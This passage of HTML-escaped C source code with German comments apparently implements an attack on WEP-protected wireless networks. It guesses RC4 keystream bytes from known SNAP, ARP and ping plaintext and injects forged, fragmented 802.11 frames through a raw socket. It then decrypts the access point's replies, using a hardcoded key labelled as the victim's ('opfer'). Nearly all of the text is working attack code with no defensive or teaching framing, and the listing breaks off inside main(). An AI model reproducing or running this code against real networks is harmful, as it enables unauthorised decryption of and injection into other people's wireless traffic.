 &lt;br /&gt;
 void send_arp(unsigned char packet[], uint8_t iv[], uint8_t kv[], uint8_t key_idx)&lt;br /&gt;
 {&lt;br /&gt;
 	unsigned char arp_enc[] = {&lt;br /&gt;
 		0x08, //Data&lt;br /&gt;
 		//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)&lt;br /&gt;
 		0x00,&lt;br /&gt;
 		0x00, 0x00, //duration-field&lt;br /&gt;
 		TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS&lt;br /&gt;
 		0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source&lt;br /&gt;
 		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest (broadcast)&lt;br /&gt;
 		0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17&lt;br /&gt;
 		0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a&lt;br /&gt;
 		0xff, //key_idx NEEDS PATCH 0x1b&lt;br /&gt;
 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload NEEDS PATCH 0x1c-0x23&lt;br /&gt;
 		0xff, 0xff, 0xff, 0xff //package-checksum NEEDS PATCH 0x24-0x27&lt;br /&gt;
 	};&lt;br /&gt;
 	//uint8_t arp_enc_len = 0x28;&lt;br /&gt;
 	uint32_t ivc, packsum;&lt;br /&gt;
 	int i, nr;&lt;br /&gt;
 	unsigned int sequenz;&lt;br /&gt;
 &lt;br /&gt;
 	sequenz = (packet[17]);&lt;br /&gt;
 	sequenz = (sequenz&amp;lt;&amp;lt;4)+(packet[16]&amp;amp;0xf);&lt;br /&gt;
 	&lt;br /&gt;
 	sequenz += 42;&lt;br /&gt;
 	ivc = 0;&lt;br /&gt;
 	//fuer alle fragmente:&lt;br /&gt;
 	for(nr=0;nr &amp;lt; (int)arp_len/4; nr++)&lt;br /&gt;
 	{	&lt;br /&gt;
 #ifdef crypt1	&lt;br /&gt;
 	arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x41+0x08:0x45+0x08;&lt;br /&gt;
 #else&lt;br /&gt;
 	arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x09:0xd;&lt;br /&gt;
 	printf(&amp;quot;runde: %d\tschalter: %x\n&amp;quot;, nr, arp_enc[0x01]);&lt;br /&gt;
 #endif&lt;br /&gt;
 		//arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x01+0x08:0x05+0x08;&lt;br /&gt;
 &lt;br /&gt;
 		//build sequence-field&lt;br /&gt;
 		/* fragment 4 bit - squenz 12 bit */&lt;br /&gt;
 		//sequenz++;&lt;br /&gt;
 		//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;&lt;br /&gt;
 		arp_enc[0x17] = (unsigned char)sequenz&amp;gt;&amp;gt;4; //die 8 hoechstwertigen bits&lt;br /&gt;
 		arp_enc[0x16] = ((nr%16))|(unsigned char)((sequenz)&amp;lt;&amp;lt;4); //fragment-nr-4bit|sequenz-nr-4bit&lt;br /&gt;
 		//printf(&amp;quot;sequenz=%u\n&amp;quot;,sequenz);&lt;br /&gt;
 #ifdef crypt1&lt;br /&gt;
 		//set IV&lt;br /&gt;
 		arp_enc[0x18] = packet[0x18];&lt;br /&gt;
 		arp_enc[0x19] = packet[0x19];&lt;br /&gt;
 		arp_enc[0x1a] = packet[0x1a];&lt;br /&gt;
 		//set keyidx&lt;br /&gt;
 		arp_enc[0x1b] = key_idx;&lt;br /&gt;
 #endif&lt;br /&gt;
 &lt;br /&gt;
 #ifdef crypt1&lt;br /&gt;
 		//packet fuellen - verschluesselt&lt;br /&gt;
 		arp_enc[0x1c] = arp[0+(nr*4)];&lt;br /&gt;
 		arp_enc[0x1d] = arp[1+(nr*4)];&lt;br /&gt;
 		arp_enc[0x1e] = arp[2+(nr*4)];&lt;br /&gt;
 		arp_enc[0x1f] = arp[3+(nr*4)];&lt;br /&gt;
 #else&lt;br /&gt;
 		//packet fuellen - unverschluesselt&lt;br /&gt;
 	printf(&amp;quot;packet unverschluesselt fuellen\n&amp;quot;);&lt;br /&gt;
 		arp_enc[0x18] = arp[0+(nr*4)];&lt;br /&gt;
 		arp_enc[0x19] = arp[1+(nr*4)];&lt;br /&gt;
 		arp_enc[0x1a] = arp[2+(nr*4)];&lt;br /&gt;
 		arp_enc[0x1b] = arp[3+(nr*4)];&lt;br /&gt;
 #endif&lt;br /&gt;
 &lt;br /&gt;
 #if 0&lt;br /&gt;
 		arp_enc[0x18] = arp[0+(nr*4)];&lt;br /&gt;
 		arp_enc[0x19] = arp[1+(nr*4)];&lt;br /&gt;
 		arp_enc[0x1a] = arp[2+(nr*4)];&lt;br /&gt;
 		arp_enc[0x1b] = arp[3+(nr*4)];&lt;br /&gt;
 #endif&lt;br /&gt;
 #ifdef crypt1&lt;br /&gt;
 		//build icv-checksum over packet&lt;br /&gt;
 		ivc = crc32_bitoriented((arp+(nr*4)), 4);&lt;br /&gt;
     	printf(&amp;quot;crc : %X %X %X %X ist %8X\n&amp;quot;, arp[0+(4*nr)], arp[1+(4*nr)], arp[2+(4*nr)], arp[3+(4*nr)], ivc);&lt;br /&gt;
 		//build packet&lt;br /&gt;
 		arp_enc[0x20] = *(((uint8_t *)&amp;amp;ivc)+0);&lt;br /&gt;
 		arp_enc[0x21] = *(((uint8_t *)&amp;amp;ivc)+1);&lt;br /&gt;
 		arp_enc[0x22] = *(((uint8_t *)&amp;amp;ivc)+2);&lt;br /&gt;
 		arp_enc[0x23] = *(((uint8_t *)&amp;amp;ivc)+3);&lt;br /&gt;
 #endif&lt;br /&gt;
 #ifdef crypt1&lt;br /&gt;
 		printf(&amp;quot;unverschluesselt:&amp;quot;); hexdump((unsigned char *) arp_enc + 0x1c,8,1);&lt;br /&gt;
 		//verschluesseln	&lt;br /&gt;
 		for(i=0;i&amp;lt;8;i++)&lt;br /&gt;
 		{&lt;br /&gt;
 			arp_enc[0x1c + i] ^= kv[i];&lt;br /&gt;
 		}&lt;br /&gt;
 #endif&lt;br /&gt;
 &lt;br /&gt;
 #ifdef crypt1	&lt;br /&gt;
 		printf(&amp;quot;verschluesselter datenteil:\t&amp;quot;); hexdump((unsigned char *)arp_enc + 0x1c,8,1);&lt;br /&gt;
 #else &lt;br /&gt;
 		printf(&amp;quot;verschluesselter datenteil:\t&amp;quot;); hexdump((unsigned char *)arp_enc + 0x18,8,1);&lt;br /&gt;
 #endif&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 		//checksumme des packetes bilden&lt;br /&gt;
 		packsum = crc32_bitoriented(arp_enc,36);&lt;br /&gt;
 #ifdef crypt1&lt;br /&gt;
 		arp_enc[0x24] = *(((uint8_t *)&amp;amp;packsum)+0);&lt;br /&gt;
 		arp_enc[0x25] = *(((uint8_t *)&amp;amp;packsum)+1);&lt;br /&gt;
 		arp_enc[0x26] = *(((uint8_t *)&amp;amp;packsum)+2);&lt;br /&gt;
 		arp_enc[0x27] = *(((uint8_t *)&amp;amp;packsum)+3);&lt;br /&gt;
 #else&lt;br /&gt;
 		arp_enc[0x1c] = *(((uint8_t *)&amp;amp;packsum)+0);&lt;br /&gt;
 		arp_enc[0x1d] = *(((uint8_t *)&amp;amp;packsum)+1);&lt;br /&gt;
 		arp_enc[0x1e] = *(((uint8_t *)&amp;amp;packsum)+2);&lt;br /&gt;
 		arp_enc[0x1f] = *(((uint8_t *)&amp;amp;packsum)+3);&lt;br /&gt;
 #endif&lt;br /&gt;
 &lt;br /&gt;
 #ifdef crypt1&lt;br /&gt;
 		for(i=0;i&amp;lt;0x24;i++)printf(&amp;quot;%x &amp;quot;,arp_enc[i]);&lt;br /&gt;
 	printf(&amp;quot;\n&amp;quot;);	&lt;br /&gt;
 		while(write(rawsock, arp_enc,0x24)!=0x24) ;&lt;br /&gt;
 #else&lt;br /&gt;
 		for(i=0;i&amp;lt;SEND_BIT;i++)printf(&amp;quot;%x &amp;quot;,arp_enc[i]);		&lt;br /&gt;
 		printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
 	&lt;br /&gt;
 		while(write(rawsock, arp_enc,SEND_BIT)!=SEND_BIT) ;&lt;br /&gt;
 #endif&lt;br /&gt;
 &lt;br /&gt;
 	//	printf(&amp;quot;%d. runde vollendet:&amp;quot;, nr);getc(stdin);&lt;br /&gt;
 	}&lt;br /&gt;
 	filter(0);&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 /*debug*/&lt;br /&gt;
 void filter(int min)&lt;br /&gt;
 {&lt;br /&gt;
 	int n;&lt;br /&gt;
 	unsigned char packet[2400];&lt;br /&gt;
 	int packetsize = 2400;&lt;br /&gt;
 printf(&amp;quot;FILTER SUCHT PASSENDES PACKET\n\n&amp;quot;);&lt;br /&gt;
 while(1){&lt;br /&gt;
       n = read (rawsock, packet, packetsize);&lt;br /&gt;
 	  /* wenn das netz eine bestimmt mac hat: packet+0x0a*/&lt;br /&gt;
 &lt;br /&gt;
       if (//(packet[0] == 0x08) &amp;amp;&amp;amp;&lt;br /&gt;
 			(n &amp;gt; min) &amp;amp;&amp;amp;&lt;br /&gt;
 				((TMAC0==(unsigned char)packet[10]) &amp;amp;&amp;amp;&lt;br /&gt;
 				  (TMAC1==(unsigned char)packet[11]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  (TMAC2==(unsigned char)packet[12]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  (TMAC3==(unsigned char)packet[13]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  (TMAC4==(unsigned char)packet[14]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  (TMAC5==(unsigned char)packet[15])) &lt;br /&gt;
 			&amp;amp;&amp;amp;&lt;br /&gt;
 					(((MAC0==(unsigned char)packet[4]) &amp;amp;&amp;amp;&lt;br /&gt;
 				  	(MAC1==(unsigned char)packet[5]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC2==(unsigned char)packet[6]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC3==(unsigned char)packet[7]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC4==(unsigned char)packet[8]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC5==(unsigned char)packet[9]))&lt;br /&gt;
 				||&lt;br /&gt;
 					((MAC0==(unsigned char)packet[16]) &amp;amp;&amp;amp;&lt;br /&gt;
 				  	(MAC1==(unsigned char)packet[17]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC2==(unsigned char)packet[18]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC3==(unsigned char)packet[19]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC4==(unsigned char)packet[20]) &amp;amp;&amp;amp;	&lt;br /&gt;
 				  	(MAC5==(unsigned char)packet[21])))&lt;br /&gt;
 		)&lt;br /&gt;
 	  {	&lt;br /&gt;
  		printf(&amp;quot;!!GOT RESPONSE!!\n&amp;quot;);	&lt;br /&gt;
 		print_header (packet, n);&lt;br /&gt;
 &lt;br /&gt;
 		hexdump(packet,n,1);&lt;br /&gt;
 		&lt;br /&gt;
 		getc(stdin);getc(stdin);&lt;br /&gt;
 #ifdef crypt1&lt;br /&gt;
 		if(n&amp;gt;200) decrypt_ping(packet, n);&lt;br /&gt;
 		decrypt_arp(packet, n);&lt;br /&gt;
 #endif&lt;br /&gt;
 		return;&lt;br /&gt;
 	  }&lt;br /&gt;
 }&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void send_ping(unsigned char packet[], unsigned char kv[], int n)&lt;br /&gt;
 {&lt;br /&gt;
 	unsigned char ping_header[]={&lt;br /&gt;
 		0x08, //Data&lt;br /&gt;
 		//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)&lt;br /&gt;
 		0x00,&lt;br /&gt;
 		0x00, 0x00, //duration-field&lt;br /&gt;
 		TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS&lt;br /&gt;
 		0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source&lt;br /&gt;
 		//TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS&lt;br /&gt;
 		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest&lt;br /&gt;
 		0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17&lt;br /&gt;
 		0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a&lt;br /&gt;
 		0xff, //key_idx NEEDS PATCH 0x1b&lt;br /&gt;
 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload&lt;br /&gt;
 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload &lt;br /&gt;
 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload &lt;br /&gt;
 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload&lt;br /&gt;
 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload + icv&lt;br /&gt;
 	};&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 		int nr;&lt;br /&gt;
 	int i, ivc, sequenz;&lt;br /&gt;
 	//hexdump(ping+27,264,1);&lt;br /&gt;
 	//printf(&amp;quot;checksum vom ping-ding:\t%x\n&amp;quot;, chksum(ping+27, 264)); &lt;br /&gt;
 	&lt;br /&gt;
 	sequenz = (packet[17]);&lt;br /&gt;
 	sequenz = (sequenz&amp;lt;&amp;lt;4)+(packet[16]&amp;amp;0xf);&lt;br /&gt;
 	for(nr=0;nr &amp;lt; (int)ping_len/36; nr++)&lt;br /&gt;
 	{	&lt;br /&gt;
 	ping_header[0x01] = (nr==(int)(ping_len/36-1))?0x41+0x08:0x45+0x08;&lt;br /&gt;
 &lt;br /&gt;
 		//build sequence-field&lt;br /&gt;
 		/* fragment 4 bit - squenz 12 bit */&lt;br /&gt;
 		//sequenz++;&lt;br /&gt;
 		//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;&lt;br /&gt;
 		ping_header[0x17] = (unsigned char)sequenz&amp;gt;&amp;gt;4; //die 8 hoechstwertigen bits&lt;br /&gt;
 		ping_header[0x16] = ((nr%16))|(unsigned char)((sequenz)&amp;lt;&amp;lt;4); //fragment-nr-4bit|sequenz-nr-4bit&lt;br /&gt;
 &lt;br /&gt;
 		//set IV&lt;br /&gt;
 		ping_header[0x18] = packet[0x18];&lt;br /&gt;
 		ping_header[0x19] = packet[0x19];&lt;br /&gt;
 		ping_header[0x1a] = packet[0x1a];&lt;br /&gt;
 		//set keyidx&lt;br /&gt;
 		ping_header[0x1b] = packet[0x1b];&lt;br /&gt;
 &lt;br /&gt;
 		//packet fuellen &lt;br /&gt;
 		for(i=0;i&amp;lt;36;i++) ping_header[0x1c + i] = ping[i+(nr*36)];&lt;br /&gt;
 		&lt;br /&gt;
 		//build icv-checksum over packet&lt;br /&gt;
 		ivc = crc32_bitoriented((ping+(nr*36)), 36);&lt;br /&gt;
 		//build packet&lt;br /&gt;
 		ping_header[0x40] = *(((uint8_t *)&amp;amp;ivc)+0);&lt;br /&gt;
 		ping_header[0x41] = *(((uint8_t *)&amp;amp;ivc)+1);&lt;br /&gt;
 		ping_header[0x42] = *(((uint8_t *)&amp;amp;ivc)+2);&lt;br /&gt;
 		ping_header[0x43] = *(((uint8_t *)&amp;amp;ivc)+3);&lt;br /&gt;
 &lt;br /&gt;
 		for(i=0;i&amp;lt;0x44;i++) ping_header[0x1c+i]^=kv[i];&lt;br /&gt;
 &lt;br /&gt;
 		//ausgeben des packets&lt;br /&gt;
 		printf(&amp;quot;AUSGEBEN DES PACKETES\n&amp;quot;);&lt;br /&gt;
 		for(i=0;i&amp;lt;0x44;i++)printf(&amp;quot;%x &amp;quot;, ping_header[i]);&lt;br /&gt;
 	&lt;br /&gt;
 		//senden des packets&lt;br /&gt;
 		while(write(rawsock, ping_header,0x44)!=0x44) ;&lt;br /&gt;
 		printf(&amp;quot;\nWURDE GESENDET\n&amp;quot;);	&lt;br /&gt;
 	}&lt;br /&gt;
 		&lt;br /&gt;
 	&lt;br /&gt;
 	filter(200);	&lt;br /&gt;
 	&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 unsigned short chksum(unsigned char *data, int l)&lt;br /&gt;
 {&lt;br /&gt;
 	int i;&lt;br /&gt;
 	unsigned short sum = 0;&lt;br /&gt;
 	&lt;br /&gt;
 	for(i=0;i&amp;lt;l;i+=2){&lt;br /&gt;
 		sum += (unsigned short)(((data[i]^0xff)&amp;lt;&amp;lt;8)+(data[i+1]^0xff));		&lt;br /&gt;
 	}&lt;br /&gt;
 	printf(&amp;quot;%d\n&amp;quot;,i);&lt;br /&gt;
 	return sum;	&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void decrypt_arp(unsigned char packet[], int n)&lt;br /&gt;
 {	&lt;br /&gt;
 	int i, packsum;&lt;br /&gt;
 	unsigned char kv[2400];&lt;br /&gt;
 	unsigned char nul[2400];&lt;br /&gt;
 	unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer&lt;br /&gt;
 	rc4_key rc4_schluessel;&lt;br /&gt;
 	unsigned char ivc[4];&lt;br /&gt;
 #ifdef crypt1&lt;br /&gt;
 	if(packet[0]==0xb0)printf(&amp;quot;authentication frame found\n&amp;quot;);&lt;br /&gt;
 	//if(n!=86) {printf(&amp;quot;kein arp-packet!!\n&amp;quot;); return;} //kein arp&lt;br /&gt;
 #endif	&lt;br /&gt;
   	printf (&amp;quot;\n##IV##:\t%x %x %x\n&amp;quot;, (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);&lt;br /&gt;
 	&lt;br /&gt;
 	for(i=0;i&amp;lt;36;i++) { kv[i] = packet[0x1c+i]^arp[i];}  //36 Byte Schluessel aus bekanntem ARP erraten&lt;br /&gt;
 	 			&lt;br /&gt;
 		packsum = crc32_bitoriented(arp,36);&lt;br /&gt;
 		ivc[3] = *(((uint8_t *)&amp;amp;packsum)+3);&lt;br /&gt;
 		ivc[2] = *(((uint8_t *)&amp;amp;packsum)+2);&lt;br /&gt;
 		ivc[1] = *(((uint8_t *)&amp;amp;packsum)+1);&lt;br /&gt;
 		ivc[0] = *(((uint8_t *)&amp;amp;packsum)+0);&lt;br /&gt;
 &lt;br /&gt;
     	printf(&amp;quot;crc vom arp ist %x %x %x %x\n&amp;quot;, ivc[0], ivc[1], ivc[2], ivc[3]);&lt;br /&gt;
 #ifdef crypt1&lt;br /&gt;
 		/* i == 36 */&lt;br /&gt;
 		i = 36;&lt;br /&gt;
 		kv[i] = ivc[0]^packet[0x1c+i];i++;&lt;br /&gt;
 		kv[i] = ivc[1]^packet[0x1c+i];i++;&lt;br /&gt;
 		kv[i] = ivc[2]^packet[0x1c+i];i++;&lt;br /&gt;
 		kv[i] = ivc[3]^packet[0x1c+i];i++;&lt;br /&gt;
 &lt;br /&gt;
 		printf(&amp;quot;berechneter Keystream:\n&amp;quot;);&lt;br /&gt;
 		for(i=0;i&amp;lt;40;i++) printf(&amp;quot;%x &amp;quot;,kv[i]); &lt;br /&gt;
 		printf(&amp;quot;\nRC4-Keystream\n&amp;quot;);&lt;br /&gt;
 		wep_key[0]=packet[0x18];&lt;br /&gt;
 		wep_key[1]=packet[0x19];&lt;br /&gt;
 		wep_key[2]=packet[0x1a];&lt;br /&gt;
 &lt;br /&gt;
 		prepare_key(wep_key,8/* KEY_LAENGE*/, &amp;amp;rc4_schluessel);&lt;br /&gt;
 		for(i=0;i&amp;lt;80;i++) nul[i]=0x00;&lt;br /&gt;
 		rc4(nul,40,&amp;amp;rc4_schluessel);&lt;br /&gt;
 		for(i=0;i&amp;lt;80;i++) printf(&amp;quot;%x &amp;quot;,nul[i]); &lt;br /&gt;
 &lt;br /&gt;
 		for(i=0;i&amp;lt;40;i++) packet[28+i]^=kv[i]; 	// Vergleich mit erwarteten ARP-Packet&lt;br /&gt;
 		printf(&amp;quot;\nEntschluesseltes Packet:\n&amp;quot;);&lt;br /&gt;
 		for(i=0;i&amp;lt;68;i++) printf(&amp;quot;%x &amp;quot;,packet[i]); &lt;br /&gt;
 		printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
 		i = 40;&lt;br /&gt;
 	/* ***************************************************** */&lt;br /&gt;
 		send_ping(packet, kv, i);&lt;br /&gt;
 	&lt;br /&gt;
 #endif&lt;br /&gt;
 	&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void decrypt_ping(unsigned char packet[], int n)&lt;br /&gt;
 {	&lt;br /&gt;
 	int i, packsum;&lt;br /&gt;
 	unsigned char kv[2400];&lt;br /&gt;
 	unsigned char nul[2400];&lt;br /&gt;
 	unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer&lt;br /&gt;
 	rc4_key rc4_schluessel;&lt;br /&gt;
 	unsigned char ivc[4];&lt;br /&gt;
 	&lt;br /&gt;
   	printf (&amp;quot;\nPING DECRYPT\n##IV##:\t%x %x %x\n&amp;quot;, (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);&lt;br /&gt;
 	&lt;br /&gt;
 	for(i=0;i&amp;lt;(n-(0x1c + 4));i++) { kv[i] = packet[0x1c+i]^ping[i];}  //n Byte Schluessel aus bekanntem ping erraten&lt;br /&gt;
 	 			&lt;br /&gt;
 		packsum = crc32_bitoriented(ping,ping_len);&lt;br /&gt;
 		ivc[3] = *(((uint8_t *)&amp;amp;packsum)+3);&lt;br /&gt;
 		ivc[2] = *(((uint8_t *)&amp;amp;packsum)+2);&lt;br /&gt;
 		ivc[1] = *(((uint8_t *)&amp;amp;packsum)+1);&lt;br /&gt;
 		ivc[0] = *(((uint8_t *)&amp;amp;packsum)+0);&lt;br /&gt;
 &lt;br /&gt;
     	printf(&amp;quot;crc vom ping ist %x %x %x %x\n&amp;quot;, ivc[0], ivc[1], ivc[2], ivc[3]);&lt;br /&gt;
 		/* i == 36 */&lt;br /&gt;
 		i = n - 4;&lt;br /&gt;
 		kv[i] = ivc[0]^packet[0x1c+i];i++;&lt;br /&gt;
 		kv[i] = ivc[1]^packet[0x1c+i];i++;&lt;br /&gt;
 		kv[i] = ivc[2]^packet[0x1c+i];i++;&lt;br /&gt;
 		kv[i] = ivc[3]^packet[0x1c+i];i++;&lt;br /&gt;
 &lt;br /&gt;
 		printf(&amp;quot;berechneter Keystream:\n&amp;quot;);&lt;br /&gt;
 		//for(i=0;i&amp;lt;(n-0x1c);i++) printf(&amp;quot;%x &amp;quot;,kv[i]); &lt;br /&gt;
 		hexdump(kv,n-0x1c,1);&lt;br /&gt;
 		printf(&amp;quot;\nRC4-Keystream\n&amp;quot;);&lt;br /&gt;
 		wep_key[0]=packet[0x18];&lt;br /&gt;
 		wep_key[1]=packet[0x19];&lt;br /&gt;
 		wep_key[2]=packet[0x1a];&lt;br /&gt;
 &lt;br /&gt;
 		prepare_key(wep_key,8/* KEY_LAENGE*/, &amp;amp;rc4_schluessel);&lt;br /&gt;
 		for(i=0;i&amp;lt;(n-0x1c);i++) nul[i]=0x00;&lt;br /&gt;
 		rc4(nul,n-0x1c,&amp;amp;rc4_schluessel);&lt;br /&gt;
 		//for(i=0;i&amp;lt;(n-0x1c);i++) printf(&amp;quot;%x &amp;quot;,nul[i]); &lt;br /&gt;
 		hexdump(nul,n-0x1c,1);&lt;br /&gt;
 &lt;br /&gt;
 		for(i=0;i&amp;lt;(n-0x1c);i++) packet[28+i]^=kv[i]; 	// Vergleich mit erwarteten ARP-Packet&lt;br /&gt;
 		printf(&amp;quot;\nEntschluesseltes Packet:\n&amp;quot;);&lt;br /&gt;
 		//for(i=0;i&amp;lt;n;i++) printf(&amp;quot;%x &amp;quot;,packet[i]); &lt;br /&gt;
 		hexdump(packet,n,1);&lt;br /&gt;
 		printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
 	&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void&lt;br /&gt;
 have_fun(unsigned char packet[], int n)&lt;br /&gt;
 {&lt;br /&gt;
 	unsigned char iv[3], key_idx, kv[8];&lt;br /&gt;
 	char ask;&lt;br /&gt;
 	int i = 0;&lt;br /&gt;
 	rc4_key  rc4_schluessel;&lt;br /&gt;
 &lt;br /&gt;
 	unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer&lt;br /&gt;
 //	unsigned char wep_key[]={0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef};&lt;br /&gt;
 &lt;br /&gt;
 	//check if type is data&lt;br /&gt;
 	if ((unsigned char) packet[0] != 0x08) return;&lt;br /&gt;
 	printf(&amp;quot;data-package received\n&amp;quot;);&lt;br /&gt;
 	//check if packet is encrypted&lt;br /&gt;
 	//if (! (((unsigned char) packet[1]) &amp;amp; 0x40)) return;&lt;br /&gt;
 &lt;br /&gt;
 #ifdef crypt1&lt;br /&gt;
 	printf(&amp;quot;IV: %X%X%X (KeyIdx: %x)\n&amp;quot;, packet[24], packet[25], packet[26], packet[27]); &lt;br /&gt;
 	iv[0] = packet[24];&lt;br /&gt;
 	iv[1] = packet[25];&lt;br /&gt;
 	iv[2] = packet[26];&lt;br /&gt;
 	key_idx = packet[27];&lt;br /&gt;
 &lt;br /&gt;
 	wep_key[0]= iv[0];&lt;br /&gt;
 	wep_key[1]=	iv[1];&lt;br /&gt;
 	wep_key[2]= iv[2];&lt;br /&gt;
 	printf(&amp;quot;#DEBUG:\tWEP_KEY =\t&amp;quot;); &lt;br /&gt;
 	for(i=0;i&amp;lt;8;i++) printf(&amp;quot;%x &amp;quot;, wep_key[i]);&lt;br /&gt;
 #endif&lt;br /&gt;
 &lt;br /&gt;
 	//building first 7 byte of keystream by cypherstream XOR SNAP&lt;br /&gt;
 	//standard-SNAP: AA AA 03 00 00 00 08&lt;br /&gt;
 	&lt;br /&gt;
 	kv[0] = packet[28] ^ 0xaa;&lt;br /&gt;
 	kv[1] = packet[29] ^ 0xaa;&lt;br /&gt;
 	kv[2] = packet[30] ^ 0x03;&lt;br /&gt;
 	kv[3] = packet[31] ^ 0x00;&lt;br /&gt;
 	kv[4] = packet[32] ^ 0x00;&lt;br /&gt;
 	kv[5] = packet[33] ^ 0x00;&lt;br /&gt;
 	kv[6] = packet[34] ^ 0x00;&lt;br /&gt;
 	&lt;br /&gt;
 	//guess if it is ARP or IPv4 for 8th byte of key&lt;br /&gt;
 	if (n == 86) { //ARP&lt;br /&gt;
 		printf(&amp;quot;Packet is propably ARP\n&amp;quot;);&lt;br /&gt;
 		kv[7] = packet[35] ^ 0x06;&lt;br /&gt;
 	} else {//IPv4 or else&lt;br /&gt;
 		printf(&amp;quot;Packet is propably IPv4\n&amp;quot;);&lt;br /&gt;
 		kv[7] = packet[35] ^ 00;&lt;br /&gt;
 	}&lt;br /&gt;
 	kv[7]=0x27^packet[35];&lt;br /&gt;
 &lt;br /&gt;
 #ifdef DEBUG&lt;br /&gt;
 	printf(&amp;quot;IV= %x %x %x (key_index=%u)\n&amp;quot;, iv[0], iv[1],iv[2],key_idx);&lt;br /&gt;
 	printf(&amp;quot;First 8 Byte of Keystream: %X %X %X %X %X %X %X %X \n&amp;quot;, kv[0], kv[1], kv[2], kv[3], kv[4], kv[5], kv[6], kv[7]);&lt;br /&gt;
 	printf(&amp;quot;starting RC4-PRNG\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
 	prepare_key(wep_key,8/* KEY_LAENGE*/, &amp;amp;rc4_schluessel);&lt;br /&gt;
 	for(i=0;i&amp;lt;8;i++) nul[i]=0x00;&lt;br /&gt;
 	rc4(nul,8, &amp;amp;rc4_schluessel);&lt;br /&gt;
 	printf(&amp;quot;Schluesselstrom=\t&amp;quot;);&lt;br /&gt;
 	for(i=0;i&amp;lt;8;i++) printf(&amp;quot;%x\t&amp;quot;, nul[i]);&lt;br /&gt;
 	printf(&amp;quot;\n(mit schluesselstrom) entschluesseltes packet:\n&amp;quot;);&lt;br /&gt;
 	for(i=0;i&amp;lt;8;i++) printf(&amp;quot;%x\t&amp;quot;, nul[i]^packet[28+i]);&lt;br /&gt;
 	printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
 #endif&lt;br /&gt;
 	&lt;br /&gt;
 //	printf(&amp;quot;First 8 Byte of Keystream: %X %X %X %X %X %X %X %X \n&amp;quot;, kv[0], kv[1], kv[2], kv[3], kv[4], kv[5], kv[6], kv[7]);&lt;br /&gt;
 	printf(&amp;quot;Proceed y/n? &amp;quot;);&lt;br /&gt;
 	ask = getc(stdin);&lt;br /&gt;
 	getc(stdin);&lt;br /&gt;
 &lt;br /&gt;
 	if (ask == &amp;#039;y&amp;#039;) send_arp(packet, iv, kv, key_idx);&lt;br /&gt;
 	return;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 // Main Part&lt;br /&gt;
   int&lt;br /&gt;
 main (int argc, char **argv) &lt;br /&gt;
 {&lt;br /&gt;
   int sock, uid, n, i;&lt;br /&gt;
   int packetsize = 2400;	//sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);&lt;br /&gt;
   unsigned char packet[packetsize];&lt;br /&gt;
   struct ifreq ifr;&lt;br /&gt;
   struct sockaddr_ll addr;&lt;br /&gt;
   &lt;br /&gt;
  &lt;br /&gt;
   i = 0; &lt;br /&gt;
   if (argc != 2)&lt;br /&gt;
     {&lt;br /&gt;
